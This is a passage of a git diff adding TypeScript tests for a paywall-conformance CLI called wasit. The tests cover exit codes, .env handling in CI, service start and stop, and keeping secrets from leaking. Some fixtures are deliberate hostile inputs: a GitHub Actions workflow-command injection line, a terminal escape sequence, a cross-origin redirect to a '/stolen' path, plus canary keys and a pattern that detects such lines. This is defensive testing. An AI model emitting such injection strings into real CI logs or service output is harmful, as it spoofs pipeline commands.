const v1: CheckResult[] = [ + { id: "X402-01", name: "402 Response Status", pass: true, detail: "ok" }, + ...["X402-02", "X402-03", "X402-04", "X402-05"].map((id) => skipped(id, id, "x402 v1", "unsupported")), + ]; + + it("exits 2 for a v1 service when the protocol is given: it was never graded", () => { + assert.equal(run(v1, false, "x402").code, 2); + }); + + it("says it is no verdict, not a failure and not a pass, in the text", () => { + const { text } = run(v1, false, "x402"); + assert.match(text, /No verdict/); + assert.match(text, /could not grade/); + assert.match(text, /unsupported/); + }); + + it("names the outcome no-verdict in json, so a script cannot read it as conformant", () => { + const parsed = JSON.parse(run(v1, true, "x402").text); + assert.equal(parsed.outcome, "no-verdict"); + assert.equal(parsed.failed, 0); + }); + + it("keeps 0 for the commands that do not pass a protocol (mpp-charge, mpp-channel)", () => { + assert.equal(run(v1, false).code, 0); + }); + + it("carries expected and actual in --json for a FAIL that has them, and the old fields as before", () => { + const failing: CheckResult = { + id: "X402-01", + name: "402 Response Status", + pass: false, + detail: "Expected status 402, got 200.", + hint: "Answer with 402.", + expected: "status 402", + actual: "status 200", + }; + const parsed = JSON.parse(run([failing], true, "x402").text); + assert.equal(parsed.results[0].expected, "status 402"); + assert.equal(parsed.results[0].actual, "status 200"); + assert.equal(parsed.results[0].detail, "Expected status 402, got 200."); + assert.equal(parsed.results[0].fix, "Answer with 402."); + }); + + it("still exits 0 for a conformant service and 1 for a failure", () => { + const ok: CheckResult[] = ["X402-01", "X402-02", "X402-03", "X402-04", "X402-05"].map((id) => ({ + id, + name: id, + pass: true, + detail: "ok", + })); + assert.equal(run(ok, false, "x402").code, 0); + assert.equal(run([hostile], false, "x402").code, 1); + }); +}); diff --git a/packages/cli/test/unit/run-cli.test.ts b/packages/cli/test/unit/run-cli.test.ts new file mode 100644 index 0000000..24e9c6d --- /dev/null +++ b/packages/cli/test/unit/run-cli.test.ts @@ -0,0 +1,262 @@ +/** + * `wasit run` and `wasit ci-report` as the built binary (`npm run build` + * first): what only a real process shows. `.env` loading and CI (spec A8 #2), + * flags that are not registered, the service stopped on a signal (A8 #1), and + * the service's environment taken from the real process environment. + * + * Runs in an empty temporary directory with an empty HOME. Every key is made up + * (none can sign); nothing leaves 127.0.0.1. POSIX signals: the signal tests + * are skipped on Windows, where `--start` has not been run. + */ + +import assert from "node:assert/strict"; +import { spawn, type ChildProcess } from "node:child_process"; +import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; +import { after, before, describe, it } from "node:test"; + +import { challengeHeader, freePort, startPaywall, writeConfig } from "./run-helpers.js"; + +const CLI = fileURLToPath(new URL("../../dist/index.js", import.meta.url)); +const POSIX = process.platform !== "win32"; + +interface Finished { + readonly code: number | null; + readonly signal: NodeJS.Signals | null; + readonly stdout: string; + readonly stderr: string; +} + +function start(args: string[], cwd: string, env: Record = {}): { child: ChildProcess; done: Promise } { + const child = spawn(process.execPath, [CLI, ...args], { + cwd, + env: { PATH: process.env["PATH"] ?? "", HOME: cwd, NO_COLOR: "1", ...env }, + stdio: ["ignore", "pipe", "pipe"], + }); + let stdout = ""; + let stderr = ""; + child.stdout?.on("data", (chunk) => (stdout += chunk)); + child.stderr?.on("data", (chunk) => (stderr += chunk)); + const done = new Promise((resolve, reject) => { + child.on("error", reject); + child.on("close", (code, signal) => resolve({ code, signal, stdout, stderr })); + }); + return { child, done }; +} + +const wasit = (args: string[], cwd: string, env: Record = {}): Promise => start(args, cwd, env).done; + +async function waitFor(condition: () => Promise | boolean, ms: number): Promise { + const end = Date.now() + ms; + while (Date.now() < end) { + if (await condition()) return true; + await new Promise((resolve) => setTimeout(resolve, 50)); + } + return condition(); +} + +function alive(pid: number): boolean { + try { + process.kill(pid, 0); + return true; + } catch { + return false; + } +} + +describe("the wasit binary", () => { + let cwd: string; + before(async () => { + cwd = await mkdtemp(path.join(tmpdir(), "wasit-run-cli-")); + }); + after(async () => { + await rm(cwd, { recursive: true, force: true }); + }); + + describe("flags that are not offered", () => { + for (const flag of [["--dry-run"], ["--mainnet"], ["--payer-key", "x"], ["--commitment-key", "x"], ["--allow-destructive"]]) { + it(`wasit run ${flag[0]} is an unknown option, exit 2`, async () => { + const result = await wasit(["run", "--read-only", ...flag], cwd); + assert.equal(result.code, 2, result.stderr); + assert.match(result.stderr, /unknown option/); + }); + } + + it("wasit ci-report without --report is a usage error, exit 2", async () => { + assert.equal((await wasit(["ci-report"], cwd)).code, 2); + }); + + it("the payment tier is refused with a message, exit 2, nothing sent", async () => { + const paywall = await startPaywall(); + try { + const config = await writeConfig(cwd, { baseUrl: paywall.base }); + const result = await wasit(["run", "--config", config], cwd); + assert.equal(result.code, 2); + assert.match(result.stderr, /not available in this version/); + assert.equal(paywall.received.length, 0); + } finally { + await paywall.close(); + } + }); + + it("--help works and exits 0", async () => { + const result = await wasit(["run", "--help"], cwd); + assert.equal(result.code, 0); + assert.match(result.stdout, /--start/); + assert.ok(!/--mainnet|--dry-run|--payer-key/.test(result.stdout)); + }); + }); + + describe(".env and CI (spec A8 #2)", () => { + let dir: string; + before(async () => { + dir = await mkdtemp(path.join(tmpdir(), "wasit-dotenv-")); + await writeFile(path.join(dir, ".env"), "WASIT_HEADER_X_FROM_DOTENV=from-dotenv\nMPP_PAYER_SECRET=not-a-stellar-secret\n"); + }); + after(async () => { + await rm(dir, { recursive: true, force: true }); + }); + + async function headerSeen(env: Record): Promise<{ code: number | null; value: string | string[] | undefined }> { + const paywall = await startPaywall(); + try { + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await wasit(["run", "--read-only", "--config", config, "--json"], dir, env); + assert.notEqual(paywall.received.length, 0, result.stderr); + return { code: result.code, value: paywall.received[0]?.headers["x-from-dotenv"] }; + } finally { + await paywall.close(); + } + } + + it("is read by wasit run outside CI", async () => { + const seen = await headerSeen({}); + assert.equal(seen.value, "from-dotenv"); + assert.equal(seen.code, 0); + }); + + it("is not read by wasit run when CI is set", async () => { + assert.equal((await headerSeen({ CI: "true" })).value, undefined); + assert.equal((await headerSeen({ CI: "1" })).value, undefined); + }); + + it("is not read by wasit run when GITHUB_ACTIONS is set", async () => { + assert.equal((await headerSeen({ GITHUB_ACTIONS: "true" })).value, undefined); + }); + + it("is read again when CI is set but empty", async () => { + assert.equal((await headerSeen({ CI: "" })).value, "from-dotenv"); + }); + + it("is still read by the commands that were there before, in CI too", async () => { + const paywall = await startPaywall(); + try { + const result = await wasit(["mpp-charge", "--target", `${paywall.base}/paid`, "--json"], dir, { CI: "true" }); + // With .env read the made-up key is found, so the "no payer key" refusal does not come. + assert.ok(!/No payer key/.test(result.stderr), result.stderr); + // The made-up key cannot sign: no payment header reached the service. + assert.ok(paywall.received.every((entry) => entry.headers["authorization"] === undefined)); + assert.equal((await wasit(["mpp-charge", "--target", `${paywall.base}/paid`, "--json"], cwd, { CI: "true" })).code, 2); + } finally { + await paywall.close(); + } + }); + }); + + describe("--start", () => { + /** A service that records its pid and environment, and answers `delayMs` late. */ + async function service(name: string, delayMs: number) { + const port = await freePort(); + const script = path.join(cwd, `${name}.mjs`); + const pidFile = path.join(cwd, `${name}.pid`); + const envFile = path.join(cwd, `${name}.env.json`); + await writeFile( + script, + `import http from "node:http"; +import { writeFileSync } from "node:fs"; +writeFileSync(${JSON.stringify(pidFile)}, String(process.pid)); +console.log("service says hello"); +console.log("::set-output name=pwn::1"); +http.createServer((req, res) => { + writeFileSync(${JSON.stringify(envFile)}, JSON.stringify(process.env)); + setTimeout(() => { + res.writeHead(402, { "payment-required": ${JSON.stringify(challengeHeader())} }); + res.end("{}"); + }, req.url === "/api/weather" ? ${delayMs} : 0); +}).listen(${port}, "127.0.0.1"); +`, + ); + const config = await writeConfig( + cwd, + { + baseUrl: `http://127.0.0.1:${port}`, + service: { start: `node ${JSON.stringify(script)}`, ready: { url: `http://127.0.0.1:${port}/ready`, timeoutSeconds: 20 } }, + }, + `${name}.config.json`, + ); + return { config, pidFile, envFile }; + } + + it("takes the service's environment from the real process environment: no key, no header value, no RPC url", async () => { + const { config, pidFile, envFile } = await service("env-run", 0); + const canaries = { + STELLAR_PRIVATE_KEY: "canary-stellar-key", + EVM_PRIVATE_KEY: "canary-evm-key", + SVM_PRIVATE_KEY: "canary-svm-key", + MPP_PAYER_SECRET: "canary-mpp-payer", + COMMITMENT_SECRET_HEX: "canary-commitment", + WASIT_MAINNET_PAYER_SECRET: "canary-mainnet-payer", + WASIT_HEADER_X_API_KEY: "canary-header", + WASIT_RPC_URL: "https://rpc.example/canary-rpc-key", + }; + const result = await wasit(["run", "--read-only", "--start", "--config", config, "--json"], cwd, { ...canaries, KEEP_ME: "kept" }); + assert.equal(result.code, 0, result.stderr); + assert.doesNotThrow(() => JSON.parse(result.stdout), "stdout is the JSON report only"); + assert.match(result.stderr, /\[service\] service says hello/); + assert.ok(!/^::/m.test(result.stderr), "the service's ::-line is behind the prefix"); + assert.ok(!result.stdout.includes("canary") && !result.stderr.includes("canary")); + const seen = JSON.parse(await readFile(envFile, "utf-8")) as Record; + assert.equal(seen["KEEP_ME"], "kept"); + for (const name of Object.keys(canaries)) assert.equal(seen[name], undefined, `${name} reached the service`); + const pid = Number(await readFile(pidFile, "utf-8")); + assert.equal(await waitFor(() => !alive(pid), 3000), true, "the service was stopped at the end"); + }); + + for (const [signal, code] of [["SIGTERM", 143], ["SIGINT", 130]] as const) { + it(`stops the service when Wasit gets ${signal} in the middle of a run, and exits ${code}`, { skip: !POSIX && "POSIX signals; --start not run on Windows" }, async () => { + const { config, pidFile } = await service(`signal-${signal}`, 20_000); + const { child, done } = start(["run", "--read-only", "--start", "--config", config, "--json"], cwd); + assert.equal(await waitFor(async () => (await readFile(pidFile, "utf-8").catch(() => "")) !== "", 15_000), true, "the service started"); + const pid = Number(await readFile(pidFile, "utf-8")); + await new Promise((resolve) => setTimeout(resolve, 600)); + assert.ok(alive(pid)); + child.kill(signal); + const result = await done; + assert.equal(result.code, code, result.stderr); + assert.equal(await waitFor(() => !alive(pid), 5000), true, "the service is gone"); + }); + } + + it("stops the service and exits 2 when nothing answers in time", async () => { + const port = await freePort(); + const script = path.join(cwd, "mute.mjs"); + const pidFile = path.join(cwd, "mute.pid"); + await writeFile(script, `import { writeFileSync } from "node:fs"; writeFileSync(${JSON.stringify(pidFile)}, String(process.pid)); setInterval(() => {}, 1000);`); + const config = await writeConfig( + cwd, + { + baseUrl: `http://127.0.0.1:${port}`, + service: { start: `node ${JSON.stringify(script)}`, ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 1 } }, + }, + "mute.config.json", + ); + const result = await wasit(["run", "--read-only", "--start", "--config", config], cwd); + assert.equal(result.code, 2); + assert.match(result.stderr, /no answer/); + const pid = Number(await readFile(pidFile, "utf-8")); + assert.equal(await waitFor(() => !alive(pid), 3000), true); + }); + }); +}); diff --git a/packages/cli/test/unit/run-helpers.ts b/packages/cli/test/unit/run-helpers.ts new file mode 100644 index 0000000..6572bd6 --- /dev/null +++ b/packages/cli/test/unit/run-helpers.ts @@ -0,0 +1,130 @@ +/** + * Shared by the tests of `wasit run` and `wasit ci-report`: paywalls on + * 127.0.0.1 that answer with a chosen challenge and record what they receive, + * and config files written to a temporary directory. Every key is made up; + * nothing leaves 127.0.0.1. + */ + +import http from "node:http"; +import { mkdir, writeFile } from "node:fs/promises"; +import path from "node:path"; + +import { Keypair } from "@stellar/stellar-sdk"; + +export interface Received { + readonly method: string; + readonly url: string; + readonly headers: http.IncomingHttpHeaders; + readonly body: string; +} + +export interface Paywall { + /** `http://127.0.0.1:` */ + readonly base: string; + readonly received: Received[]; + readonly close: () => Promise; +} + +export type Handler = (request: http.IncomingMessage, response: http.ServerResponse, received: Received) => void; + +/** A valid x402 v2 challenge for stellar:testnet, as the PAYMENT-REQUIRED header carries it. */ +export function challengeHeader(overrides: { network?: string } = {}): string { + return Buffer.from( + JSON.stringify({ + x402Version: 2, + resource: { url: "http://127.0.0.1/paid" }, + accepts: [ + { + scheme: "exact", + network: overrides.network ?? "stellar:testnet", + amount: "10000", + asset: "CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA", + payTo: Keypair.random().publicKey(), + maxTimeoutSeconds: 60, + extra: { areFeesSponsored: true }, + }, + ], + }), + ).toString("base64"); +} + +/** Answers 402 with a valid challenge. */ +export const conformantHandler: Handler = (_request, response) => { + response.writeHead(402, { "payment-required": challengeHeader(), "content-type": "application/json" }); + response.end("{}"); +}; + +/** Answers 402 with an x402 v1 challenge in the body. */ +export const v1Handler: Handler = (_request, response) => { + response.writeHead(402, { "content-type": "application/json" }); + response.end(JSON.stringify({ x402Version: 1, accepts: [{ scheme: "exact", network: "stellar:testnet" }] })); +}; + +export async function startPaywall(handler: Handler = conformantHandler): Promise { + const received: Received[] = []; + const server = http.createServer((request, response) => { + const chunks: Buffer[] = []; + request.on("data", (chunk: Buffer) => chunks.push(chunk)); + request.on("end", () => { + const entry: Received = { + method: request.method ?? "", + url: request.url ?? "", + headers: request.headers, + body: Buffer.concat(chunks).toString("utf-8"), + }; + received.push(entry); + handler(request, response, entry); + }); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as { port: number }; + return { + base: `http://127.0.0.1:${port}`, + received, + close: () => + new Promise((resolve) => { + server.closeAllConnections(); + server.close(() => resolve()); + }), + }; +} + +export interface ConfigOptions { + readonly baseUrl: string; + readonly network?: string; + readonly environment?: string; + readonly endpoints?: ReadonlyArray>; + readonly service?: Record; +} + +/** Writes a wasit.config.json into `dir` and returns its path. */ +export async function writeConfig(dir: string, options: ConfigOptions, name = "wasit.config.json"): Promise { + await mkdir(dir, { recursive: true }); + const file = path.join(dir, name); + const environment = options.environment ?? "local"; + await writeFile( + file, + JSON.stringify( + { + version: 1, + ...(options.service === undefined ? {} : { service: options.service }), + defaultEnvironment: environment, + environments: { + [environment]: { baseUrl: options.baseUrl, network: options.network ?? "stellar:testnet", operatedByMe: true }, + }, + endpoints: options.endpoints ?? [{ name: "weather", protocol: "x402", path: "/api/weather", method: "GET" }], + }, + null, + 2, + ), + ); + return file; +} + +export async function freePort(): Promise { + const server = http.createServer(); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const { port } = server.address() as { port: number }; + await new Promise((resolve) => server.close(() => resolve())); + return port; +} diff --git a/packages/cli/test/unit/run.test.ts b/packages/cli/test/unit/run.test.ts new file mode 100644 index 0000000..b0a21df --- /dev/null +++ b/packages/cli/test/unit/run.test.ts @@ -0,0 +1,567 @@ +/** + * `executeRun`, the code behind `wasit run` (spec A2, A8 #1 to #3, #5, #6). + * + * In-process, against paywalls on 127.0.0.1, with the environment injected. In + * this version every run is read-only: the payment tier is refused before + * anything is loaded or sent. No key is real, nothing leaves 127.0.0.1. + */ + +import assert from "node:assert/strict"; +import { existsSync } from "node:fs"; +import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { after, before, beforeEach, describe, it } from "node:test"; + +import type { RunReport } from "@wasit-dev/core"; + +import { executeRun, type RunCommandOptions } from "../../src/run.js"; +import { + challengeHeader, + freePort, + startPaywall, + v1Handler, + writeConfig, + type Paywall, +} from "./run-helpers.js"; + +interface Outcome { + readonly code: number; + readonly stdout: string; + readonly stderr: string; + readonly report: () => RunReport; +} + +async function run( + options: Partial & { config: string }, + env: Record = {}, + cwd?: string, +): Promise { + const out: string[] = []; + const err: string[] = []; + const code = await executeRun( + { readOnly: true, json: false, start: false, ...options }, + { + env: { PATH: process.env["PATH"] ?? "", ...env }, + stdout: (line) => out.push(line), + stderr: (line) => err.push(line), + now: () => new Date("2026-11-15T10:00:00.000Z"), + ...(cwd === undefined ? {} : { cwd }), + }, + ); + const stdout = out.join("\n"); + return { code, stdout, stderr: err.join("\n"), report: () => JSON.parse(stdout) as RunReport }; +} + +const CONTROL = /[\u0000-\u0008\u000b-\u001f\u007f-\u009f]/; + +describe("wasit run", () => { + let dir: string; + let paywall: Paywall | undefined; + + before(async () => { + dir = await mkdtemp(path.join(tmpdir(), "wasit-run-")); + }); + after(async () => { + // The paywall of the last test is still open: close it, or the process never exits. + await paywall?.close(); + await rm(dir, { recursive: true, force: true }); + }); + beforeEach(async () => { + await paywall?.close(); + paywall = undefined; + }); + + it("refuses the payment tier before it reads a config or sends anything", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, readOnly: false }); + assert.equal(result.code, 2); + assert.match(result.stderr, /not available in this version/); + assert.match(result.stderr, /--read-only/); + assert.equal(paywall.received.length, 0); + assert.equal((await run({ config: path.join(dir, "missing.json"), readOnly: false })).code, 2, "even for a missing config"); + }); + + describe("a conformant paywall", () => { + it("exits 0 and reports conformant, with the payment group skipped as read-only", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, json: true }); + assert.equal(result.code, 0, result.stderr); + const report = result.report(); + assert.equal(report.schema, 1); + assert.equal(report.environment, "local"); + assert.equal(report.network, "stellar:testnet"); + assert.equal(report.networkClass, "test"); + assert.equal(report.startedAt, "2026-11-15T10:00:00.000Z"); + const [weather] = report.endpoints; + assert.equal(weather?.outcome, "conformant"); + assert.equal(weather?.groups.challenge?.passed, 5); + assert.equal(weather?.groups.payment?.skipped, 5); + const payment = weather?.results.filter((check) => check.status === "SKIP") ?? []; + assert.deepEqual(payment.map((check) => check.id), ["X402-06", "X402-07", "X402-08", "X402-09", "X402-10"]); + for (const check of payment) assert.equal(check.skipKind, "read-only", check.id); + assert.equal(report.totals.graded, 1); + assert.ok(report.notes.some((note) => /read-only/.test(note))); + assert.match(report.wasit.core, /^\d+\.\d+\.\d+/); + assert.match(report.sdk["@x402/core"], /^\d+\.\d+\.\d+/); + }); + + it("sends the one unpaid request and nothing else: no payment header, no second request", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + await run({ config, json: true }); + assert.equal(paywall.received.length, 1); + assert.equal(paywall.received[0]?.url, "/api/weather"); + assert.equal(paywall.received[0]?.headers["payment-signature"], undefined); + assert.equal(paywall.received[0]?.headers["x-payment"], undefined); + }); + + it("prints only the JSON document to stdout with --json, and writes the same to --out", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const outFile = path.join(dir, "report.json"); + const result = await run({ config, json: true, out: outFile }); + assert.doesNotThrow(() => JSON.parse(result.stdout)); + assert.deepEqual(JSON.parse(await readFile(outFile, "utf-8")), JSON.parse(result.stdout)); + }); + + it("says the result and why on stderr with --json, so a job log shows it, and keeps it off stdout", async () => { + paywall = await startPaywall(v1Handler); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, json: true }); + assert.equal(result.code, 2); + assert.match(result.stderr, /Result: nothing could be graded: 0 graded, 1 unsupported \(exit 2\)/); + assert.ok(!result.stdout.includes("Result:"), "stdout is the JSON document only"); + }); + + it("prints readable text without --json, and writes the JSON to --out", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const outFile = path.join(dir, "report-text.json"); + const result = await run({ config, out: outFile }); + assert.equal(result.code, 0); + assert.match(result.stdout, /Environment local/); + assert.match(result.stdout, /weather/); + assert.match(result.stdout, /PASS {2}X402-01/); + assert.match(result.stdout, /X402-06/); + assert.match(result.stdout, /read-only/); + assert.match(result.stdout, /1 graded/); + assert.ok(!CONTROL.test(result.stdout.replace(/\n/g, ""))); + assert.equal((JSON.parse(await readFile(outFile, "utf-8")) as RunReport).schema, 1); + }); + + it("sends the method, the body and the headers of the endpoint, and the header variables of the environment", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { + baseUrl: paywall.base, + endpoints: [ + { + name: "summarize", + protocol: "x402", + path: "/api/summarize", + method: "POST", + headers: { "x-tenant": "demo" }, + body: { text: "hello" }, + }, + ], + }); + await run({ config, json: true }, { WASIT_HEADER_X_API_KEY: "canary-header-value-7f3a" }); + const sent = paywall.received[0]!; + assert.equal(sent.method, "POST"); + assert.equal(sent.headers["x-tenant"], "demo"); + assert.equal(sent.headers["x-api-key"], "canary-header-value-7f3a"); + assert.deepEqual(JSON.parse(sent.body), { text: "hello" }); + assert.match(String(sent.headers["content-type"]), /application\/json/); + }); + + it("runs only the endpoints asked for with --endpoint, and names the choices when one does not exist", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { + baseUrl: paywall.base, + endpoints: [ + { name: "a", protocol: "x402", path: "/a" }, + { name: "b", protocol: "x402", path: "/b" }, + ], + }); + const one = await run({ config, json: true, endpoint: ["b"] }); + assert.deepEqual(one.report().endpoints.map((endpoint) => endpoint.name), ["b"]); + assert.deepEqual(paywall.received.map((entry) => entry.url), ["/b"]); + const none = await run({ config, json: true, endpoint: ["c"] }); + assert.equal(none.code, 2); + assert.match(none.stderr, /no endpoint named c/); + assert.match(none.stderr, /a, b/); + }); + + it("runs the endpoints one after another, in the order of the file", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { + baseUrl: paywall.base, + endpoints: ["one", "two", "three"].map((name) => ({ name, protocol: "x402", path: `/${name}` })), + }); + await run({ config, json: true }); + assert.deepEqual(paywall.received.map((entry) => entry.url), ["/one", "/two", "/three"]); + }); + }); + + describe("MPP endpoints, which have no read-only check", () => { + it("sends nothing for them, names the tier as the reason, and does not fail a run that graded something else", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { + baseUrl: paywall.base, + endpoints: [ + { name: "weather", protocol: "x402", path: "/w" }, + { name: "chat", protocol: "mpp-charge", path: "/mpp/chat" }, + { name: "stream", protocol: "mpp-channel", path: "/mpp/stream" }, + ], + }); + const result = await run({ config, json: true }); + assert.equal(result.code, 0, result.stderr); + assert.deepEqual(paywall.received.map((entry) => entry.url), ["/w"]); + const [, chat, stream] = result.report().endpoints; + assert.equal(chat?.outcome, "no-verdict"); + assert.match(chat?.reason ?? "", /read-only/); + assert.deepEqual(chat?.results.map((check) => check.id), ["MPP-01"]); + assert.deepEqual(stream?.results.map((check) => check.id), ["MPP-10", "MPP-11", "MPP-12", "MPP-14"]); + assert.ok(chat?.results.every((check) => check.status === "SKIP" && check.skipKind === "read-only")); + }); + + it("exits 2 when they are all there is: nothing could be graded", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { + baseUrl: paywall.base, + endpoints: [{ name: "chat", protocol: "mpp-charge", path: "/mpp/chat" }], + }); + const result = await run({ config }); + assert.equal(result.code, 2); + assert.match(result.stdout, /nothing could be graded/); + assert.equal(paywall.received.length, 0); + }); + }); + + describe("the exit rule", () => { + it("is 1 for a non-conformant endpoint", async () => { + paywall = await startPaywall((_request, response) => { + response.writeHead(200); + response.end("free"); + }); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, json: true }); + assert.equal(result.code, 1); + assert.equal(result.report().endpoints[0]?.outcome, "non-conformant"); + const first = result.report().endpoints[0]?.results[0]; + assert.equal(first?.expected, "status 402", "the report carries what was expected"); + assert.equal(first?.actual, "status 200", "and what the service sent"); + assert.equal(first?.detail, "Expected status 402, got 200.", "detail is unchanged"); + const text = await run({ config }); + assert.match(text.stdout, /Expected: status 402/); + assert.match(text.stdout, /Actual: status 200/); + }); + + it("is 2 for an x402 v1 service, and says nothing could be graded: neither green nor a FAIL", async () => { + paywall = await startPaywall(v1Handler); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config }); + assert.equal(result.code, 2); + assert.match(result.stdout, /nothing could be graded/); + assert.match(result.stdout, /0 graded, 1 unsupported/); + assert.ok(!/FAIL/.test(result.stdout)); + const json = await run({ config, json: true }); + assert.equal(json.report().endpoints[0]?.outcome, "unsupported"); + assert.equal(json.report().totals.graded, 0); + }); + + it("is 2 when the service cannot be reached", async () => { + const port = await freePort(); + const config = await writeConfig(dir, { baseUrl: `http://127.0.0.1:${port}` }); + const result = await run({ config, json: true }); + assert.equal(result.code, 2); + assert.equal(result.report().endpoints[0]?.outcome, "no-verdict"); + }); + + describe("against a baseline", () => { + async function baselineOf(handlerPaywall: Paywall, name: string, environment = "local"): Promise { + const config = await writeConfig(dir, { baseUrl: handlerPaywall.base, environment }, `${name}.config.json`); + const result = await run({ config, json: true }); + const file = path.join(dir, `${name}.baseline.json`); + await writeFile(file, result.stdout); + return file; + } + + it("is 1 when an endpoint that was graded on main is unsupported now, and says so", async () => { + const main = await startPaywall(); + const baseline = await baselineOf(main, "main-good"); + await main.close(); + paywall = await startPaywall(v1Handler); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const without = await run({ config, json: true }); + assert.equal(without.code, 2, "without the baseline it is only 'nothing graded'"); + const result = await run({ config, json: true, baseline }); + assert.equal(result.code, 1); + const text = await run({ config, baseline }); + assert.match(text.stdout, /regression against main/); + assert.match(text.stdout, /weather/); + }); + + it("ignores a baseline that is not a report, and says so in the report", async () => { + paywall = await startPaywall(v1Handler); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const bad = path.join(dir, "bad-baseline.json"); + await writeFile(bad, '{"hello":"world"}'); + const result = await run({ config, json: true, baseline: bad }); + assert.equal(result.code, 2); + assert.ok(result.report().notes.some((note) => /Baseline not used/.test(note))); + }); + + it("ignores a baseline file that is not there, and says so", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, json: true, baseline: path.join(dir, "no-such-baseline.json") }); + assert.equal(result.code, 0); + assert.ok(result.report().notes.some((note) => /Baseline not used/.test(note))); + }); + + it("does not compare with a baseline from another environment", async () => { + const main = await startPaywall(); + const baseline = await baselineOf(main, "main-staging", "staging"); + await main.close(); + paywall = await startPaywall(v1Handler); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, json: true, baseline }); + assert.equal(result.code, 2, "no regression, only 'nothing graded'"); + assert.ok(result.report().notes.some((note) => /environment staging/.test(note))); + }); + }); + }); + + describe("a bad config", () => { + it("exits 2 and names the key, never the value", async () => { + const config = path.join(dir, "bad.config.json"); + await writeFile(config, JSON.stringify({ version: 1, environments: {}, endpoints: [], payerKey: "S" + "A".repeat(55) })); + const result = await run({ config }); + assert.equal(result.code, 2); + assert.match(result.stderr, /payerKey/); + assert.ok(!result.stderr.includes("A".repeat(55))); + }); + + it("exits 2 for a missing file and for an environment that is not there", async () => { + assert.equal((await run({ config: path.join(dir, "absent.json") })).code, 2); + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, env: "prod" }); + assert.equal(result.code, 2); + assert.match(result.stderr, /no such environment/); + assert.equal(paywall.received.length, 0); + }); + }); + + describe("targets and redirects (A8 #5)", () => { + it("does not follow a redirect to another origin: it is reported, and that origin is never contacted", async () => { + const elsewhere = await startPaywall(); + paywall = await startPaywall((_request, response) => { + response.writeHead(302, { location: `${elsewhere.base}/stolen` }); + response.end(); + }); + try { + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const result = await run({ config, json: true }, { WASIT_HEADER_X_API_KEY: "canary-header-value-7f3a" }); + assert.equal(result.code, 2); + assert.equal(result.report().endpoints[0]?.outcome, "no-verdict"); + assert.match(result.report().endpoints[0]?.reason ?? "", /redirect/i); + assert.equal(elsewhere.received.length, 0, "the other origin was never contacted"); + } finally { + await elsewhere.close(); + } + }); + }); + + describe("text a service sent, and secrets", () => { + const CANARY = "canary-header-value-7f3a"; + const STELLAR_KEY = `S${"A".repeat(55)}`; + + it("reaches no output with a control character, a leading ::, or a secret: terminal, JSON or file", async () => { + // X402-03 quotes the start of an undecodable header and X402-05 the network the service chose. + const hostile = Buffer.from("\u001b[2J\n::set-output name=pwn::1\nnot json").toString("base64"); + const echo = Buffer.from( + JSON.stringify({ + x402Version: 2, + accepts: [{ scheme: "exact", network: `${CANARY} ${STELLAR_KEY}`, amount: "1", asset: "a", payTo: "b", maxTimeoutSeconds: 60 }], + }), + ).toString("base64"); + for (const header of [hostile, echo]) { + const wall = await startPaywall((_request, response) => { + response.writeHead(402, { "payment-required": header }); + response.end("{}"); + }); + try { + const config = await writeConfig(dir, { baseUrl: wall.base }); + const outFile = path.join(dir, "hostile.json"); + const env = { WASIT_HEADER_X_API_KEY: CANARY, STELLAR_PRIVATE_KEY: STELLAR_KEY }; + const text = await run({ config, out: outFile }, env); + const json = await run({ config, json: true }, env); + const file = await readFile(outFile, "utf-8"); + for (const output of [text.stdout, text.stderr, json.stdout, json.stderr, file]) { + assert.ok(!output.includes(CANARY), "the header value"); + assert.ok(!output.includes(STELLAR_KEY), "the key"); + assert.ok(!CONTROL.test(output.replace(/\n/g, "")), "a control character"); + assert.ok(!/^\s*(::|##\[)/m.test(output), "a line that starts a workflow command"); + } + } finally { + await wall.close(); + } + } + }); + }); + + describe("--start", () => { + it("needs service.start and service.ready in the config, and says which is missing", async () => { + paywall = await startPaywall(); + const none = await writeConfig(dir, { baseUrl: paywall.base }); + const noStart = await run({ config: none, start: true }); + assert.equal(noStart.code, 2); + assert.match(noStart.stderr, /service\.start/); + const noReady = await writeConfig(dir, { baseUrl: paywall.base, service: { start: "node -e 0" } }, "no-ready.config.json"); + const result = await run({ config: noReady, start: true }); + assert.equal(result.code, 2); + assert.match(result.stderr, /service\.ready/); + assert.equal(paywall.received.length, 0); + }); + + it("starts the service, runs against it, stops it, and the service never saw a key or a header value", async () => { + const port = await freePort(); + const script = path.join(dir, "paywall.mjs"); + const pidFile = path.join(dir, "paywall.pid"); + const envFile = path.join(dir, "paywall.env.json"); + await writeFile( + script, + `import http from "node:http"; +import { writeFileSync } from "node:fs"; 